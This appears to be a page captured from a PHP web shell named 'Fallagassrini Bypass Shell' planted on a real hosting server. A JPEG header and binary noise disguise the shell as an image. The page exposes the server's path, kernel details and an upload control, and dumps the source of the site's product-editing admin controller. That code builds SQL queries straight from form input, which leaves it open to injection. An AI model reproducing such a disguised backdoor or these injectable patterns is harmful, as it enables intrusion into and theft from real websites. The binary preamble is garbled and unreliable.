JFIF;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 85 C  !"$"$C$^" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ? C^",k8`98?þ. s$ֱ$Xw_Z¿2b978%Q}s\ŴqXxzK1\@N2<JY{lF/Z=N[xrB}FJۨ<yǽw 5o۹^s(!fF*zn5`Z}Ҋ">Ir{_+<$$C_UC)^r25d:(c⣕U .fpSnFe\Ӱ.չ8# m=8iO^)R=^*_:M3x8k>(yDNYҵ/v-]WZ}h[*'ym&e`Xg>%̲yk߆՞Kwwrd󞼎 r;M<[AC¤ozʪ+h%BJcd`*ǎVz%6}G;mcՊ~b_aaiiE4jPLU<Ɗvg?q~!vc DpA/m|=-nux^Hޔ|mt&^ 唉KH?񯣾 ^]G\4#r qRRGV!i~眦]Ay6O#gm&;UV BH ~Y8( J4{U| 14%v0?6#{t񦊊#+{E8v??c9R]^Q,h#i[Y'Š+xY佑VR{ec1%|]p=Vԡʺ9rOZY L(^*;O'ƑYxQdݵq~5_uk{yH$HZ(3 )~G Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home/jpewexports/public_html/application/controllers/admin/

Linux 43-225-53-84.webhostbox.net 3.10.0-1160.92.1.el7.x86_64 #1 SMP Tue Jun 20 11:48:01 UTC 2023 x86_64
Upload File :
Current File : /home/jpewexports/public_html/application/controllers/admin/Edit_product.php

<?php

class Edit_product extends CI_Controller {

	function __construct()
	{
	    
		parent::__construct();	
		$this->load->helper(array('url','form','string'));
		$this->load->helper('file');
		$this->load->database();	
	}
	function index($id)
	{
		 $_SESSION['base_siteurl1'] = $this->config->item('base_siteurl1');
		 $data['id']=$id;
		 $this->load->view('admin/edit_product', $data);
	}

 
	function update($id)
	{
		$title=$this->input->post("aname");
		$desc=$this->input->post("detail");
		$old_price=$this->input->post("old_price");
		$new_price=$this->input->post("new_price");
		$type=$this->input->post("type");
		$status=$this->input->post("status");
		$category=$this->input->post("category");
		$featured=$this->input->post("featured");
		$rating=$this->input->post("rating");
		
	
		// echo $title."<br>";
		// echo $desc."<br>";
		// echo $old_price."<br>";
		// echo $new_price."<br>";
		// echo $type."<br>";
		// echo $status."<br>";
		// echo $category."<br>";
		// echo $featured."<br>";
		// echo $rating."<br>";

		$content='';
		$title=str_replace("'","",$title);
		$date=date('d M Y');
		$this->db->query("update products set rating='$rating',title='$title',description='$desc',category='$category',old_price='$old_price',new_price='$new_price',type='$type',status='$status',featured='$featured' where id='$id'");
		// echo	"update products set rating='$rating',title='$title',description='$desc',category='$category',old_price='$old_price',new_price='$new_price',type='$type',status='$status',featured='$featured' where id='$id'";
		// exit;
		$id=$id;

		if(isset($_FILES['file']['name']))
		{
			if ((($_FILES["file"]["type"] == "image/gif") || ($_FILES["file"]["type"] == "image/jpeg") || ($_FILES["file"]["type"] == "image/pjpeg") || ($_FILES["file"]["type"] == "image/png") || ($_FILES["file"]["type"] == "image/jpg") || ($_FILES["file"]["type"] == "image/x-png"))) 
			{
				if ($_FILES["file"]["error"] > 0) 
				{
					$content .= "Return Code: " . $_FILES["file"]["error"] . "<br />";
				} 
				else 
				{
					$upload=$_FILES['file']['name'];
					$ext=explode('.',$upload);
					$ext2=end($ext);
					$_FILES['file']['name']=random_string('numeric', 4).".".$ext2;
					$targetpath="uploads/large/";
						if(move_uploaded_file($_FILES['file']['tmp_name'],$targetpath.$_FILES['file']['name']))
						{
						$this->db->query("update products set main_image='".$_FILES['file']['name']."' where id='".$id."'");
						}					
				}
						 
			} 
		}
		else 
		{				
		}

			$content2="";
			if (isset($_FILES['thumb_file']['name'])) 
			{
				if ($_FILES["thumb_file"]["error"] > 0) 
				{
					$content2 .= "Return Code: " . $_FILES["thumb_file"]["error"] . "<br />";
				} 
				else 
				{
					if(isset($_FILES['thumb_file']['name']))
					{ 
					$content2 .= "Upload: " . $_FILES["thumb_file"]["name"] . "<br />";
					}
					$content2 .= "Type: " . $_FILES["thumb_file"]["type"] . "<br />";
					$content2 .= "Size: " . ($_FILES["thumb_file"]["size"] / 1024) . " Kb<br />";
					$content2 .= "<br/><br/>";
					$image2 = str_replace(' ', '_', $_FILES["thumb_file"]["name"]);
					$date2=date('d-M-Y');
					$rn2=rand(1000,9999);
					$rand2=$date2."_".$rn2."_".$image2;
		
						if (file_exists($rand2)) 
						{
								 $content2 .= $_FILES["thumb_file"]["name"] . " already exists. Upload cancelled!";
						} 
						else 
						{											
							$uploadedfile2 = $_FILES["thumb_file"]["tmp_name"];
							$size2 = getimagesize($uploadedfile2);
							$type2 = $size2['mime'];
							$width2 = $size2[0];
							$height2 = $size2[1];
									
							$newwidth2 = 500;
							$newwidth12 = 324;
							$newwidth22 = 50;
						   

							$newheight2 = 500;
							$newheight12 =  324;
							$newheight22 =  50;

							$tmp2 = imagecreatetruecolor($newwidth2, $newheight2);
							$tmp12 = imagecreatetruecolor($newwidth12, $newheight12);
							$tmp22 = imagecreatetruecolor($newwidth22, $newheight22);
			
							$filename2 = "uploads/thumbnails/large/" . $rand2;
							$filename12 = "uploads/thumbnails/small/" . $rand2;
							$filename22 = "uploads/thumbnails/icon/" . $rand2;
								
								
							if ($size2[2] == IMAGETYPE_GIF) 
							{

								$src2 = imagecreatefromgif($uploadedfile2);
								imagecopyresampled($tmp2, $src2, 0, 0, 0, 0, $newwidth2, $newheight2, $width2, $height2);
								imagecopyresampled($tmp12, $src2, 0, 0, 0, 0, $newwidth12, $newheight12, $width2, $height2);
								imagecopyresampled($tmp22, $src2, 0, 0, 0, 0, $newwidth22, $newheight22, $width2, $height2);
							   
								imagegif($tmp2, $filename2, 100);
								imagegif($tmp12, $filename12, 100);
								imagegif($tmp22, $filename22, 100);


							} 
							elseif ($size2[2] == IMAGETYPE_JPEG)
							{
								$src2 = imagecreatefromjpeg($uploadedfile2);
								imagecopyresampled($tmp2, $src2, 0, 0, 0, 0, $newwidth2, $newheight2, $width2, $height2);
								imagecopyresampled($tmp12, $src2, 0, 0, 0, 0, $newwidth12, $newheight12, $width2, $height2);
								imagecopyresampled($tmp22, $src2, 0, 0, 0, 0, $newwidth22, $newheight22, $width2, $height2);
								
								imagejpeg($tmp2, $filename2, 100);
								imagejpeg($tmp12, $filename12, 100);
								imagejpeg($tmp22, $filename22, 100);
							}
							elseif ($size[2] == IMAGETYPE_PNG)
							{
								$src2 = imagecreatefrompng($uploadedfile2);
				
								imagecopyresampled($tmp2, $src2, 0, 0, 0, 0, $newwidth2, $newheight2, $width2, $height2);
								imagecopyresampled($tmp12, $src2, 0, 0, 0, 0, $newwidth12, $newheight12, $width2, $height2);
								imagecopyresampled($tmp22, $src2, 0, 0, 0, 0, $newwidth22, $newheight22, $width2, $height2);
				
								imagepng($tmp2, $filename2, 9);
								imagepng($tmp12, $filename12, 9);
								imagepng($tmp22, $filename22, 9);
							}
								imagedestroy($src2);
								imagedestroy($tmp2);	
						}								$this->db->query("update products set thumbnail='".$rand2."' where id='".$id."'");	
				}
					 
				} 
				else 
				{
					$content2 .= "Invalid file";
				}		
				$_SESSION['updated']="Product is Updated successfully";
				echo '<script language="javascript">window.location.href="'.base_url().'admin/products"</script>';
	}	
}
/* End of file product.php */
/* Location: ./system/application/controllers/news.php */
?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net